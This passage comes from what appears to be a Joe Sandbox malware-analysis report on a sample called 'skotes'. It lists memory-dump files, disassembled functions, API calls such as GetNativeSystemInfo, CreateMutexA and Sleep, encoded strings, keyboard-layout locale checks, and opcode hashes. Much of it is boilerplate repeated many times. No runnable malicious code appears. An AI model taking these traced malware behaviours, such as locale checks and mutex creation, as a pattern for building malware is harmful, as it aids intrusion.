Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 23c10ddb5c5bfda40f92344c0daac8d0c7ab41b391d49305ec9e97427caa4034
Instruction ID: 4088ded2c8ce35ce7e307e03666c5fdaf95fc268ac561a34bc868056883c23bd
Opcode Fuzzy Hash: 23c10ddb5c5bfda40f92344c0daac8d0c7ab41b391d49305ec9e97427caa4034
Instruction Fuzzy Hash: 60B1E2719002289BDB26DB14CC86BDEB7B9AF05340F4082D9E509E7291DB74AFE8CF54

Function 00367D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00367ED3

Strings

JjssOl==, xrefs: 0036813A
JjsrPl==, xrefs: 0036828A
JjssPV==, xrefs: 003681E2
JjsrQV==, xrefs: 00368092

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 9518e39441d661be9b4081d9a01dee6c42bd70f55a583da4e54261f7b9e327c2
Instruction ID: 2bf4335ebf474ca250b350185e2e7454eb957f39645c698147c5fd7a49dad2ca
Opcode Fuzzy Hash: 9518e39441d661be9b4081d9a01dee6c42bd70f55a583da4e54261f7b9e327c2
Instruction Fuzzy Hash: 3CE13A74E002449BDB27BB28CC0779E7B71AB45724F94869CE419AB3C6DF354E908BC2

Function 003A1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003A1775: CreateFileW.KERNEL32(00000000,00000000,?,003A1B65,?,?,00000000,?,003A1B65,00000000,0000000C), ref: 003A1792

__dosmaperr.LIBCMT ref: 003A1BD7
GetFileType.KERNEL32(00000000), ref: 003A1BE3
__dosmaperr.LIBCMT ref: 003A1BF6
__dosmaperr.LIBCMT ref: 003A1D9C

Strings

H, xrefs: 003A1D21

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 24be34942c578491c955be9ba43f24aea8462fdb171ee8fd8394d9e8308908ad
Instruction ID: e67f250bc425394b4d0f585d43ff4941f2c7ea2f22dd961d2e1f3c422b9adae0
Opcode Fuzzy Hash: 24be34942c578491c955be9ba43f24aea8462fdb171ee8fd8394d9e8308908ad
Instruction Fuzzy Hash: 42A13732A141589FCF1AAF68DC52BAE7BA5EF07320F190159E802EF2D1DB359D02C751

Function 00396FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00396EE6), ref: 00396FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00397030
__dosmaperr.LIBCMT ref: 003970C5

Part of subcall function 0039732A: __dosmaperr.LIBCMT ref: 0039735F

Strings

n9, xrefs: 00396FCE

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n9
API String ID: 2531987475-1078614717
Opcode ID: c5bf80ae28011f639d4a8c31ee246fb853ad0c076db861e8be19d31a2a8e51d0
Instruction ID: d37fa8db3273a9c5987545cd308fff81a92c5b73d5e2c4cffac5bc56696fd47c
Opcode Fuzzy Hash: c5bf80ae28011f639d4a8c31ee246fb853ad0c076db861e8be19d31a2a8e51d0
Instruction Fuzzy Hash: 5B417B71924204ABDF25EFB5DC459AFBBF9EF89304B10492DF856D7690E630A900DB21

Function 00369BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00369BA8
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: 3e61be4b466a37482d0f9fa1cf0d83864fcf2e8d166a43e22084dbf50310b193
Instruction ID: b05b6eb289b6901e96722ab331af568cb9d5c31a566d908f3e4dcd6819aba730
Opcode Fuzzy Hash: 3e61be4b466a37482d0f9fa1cf0d83864fcf2e8d166a43e22084dbf50310b193
Instruction Fuzzy Hash: 3C316A316002048BEB1AAB78DDC975DBBBAEFC1310F20C61AE114AB2D9C77559808B51

Function 00369CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00369CDD
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
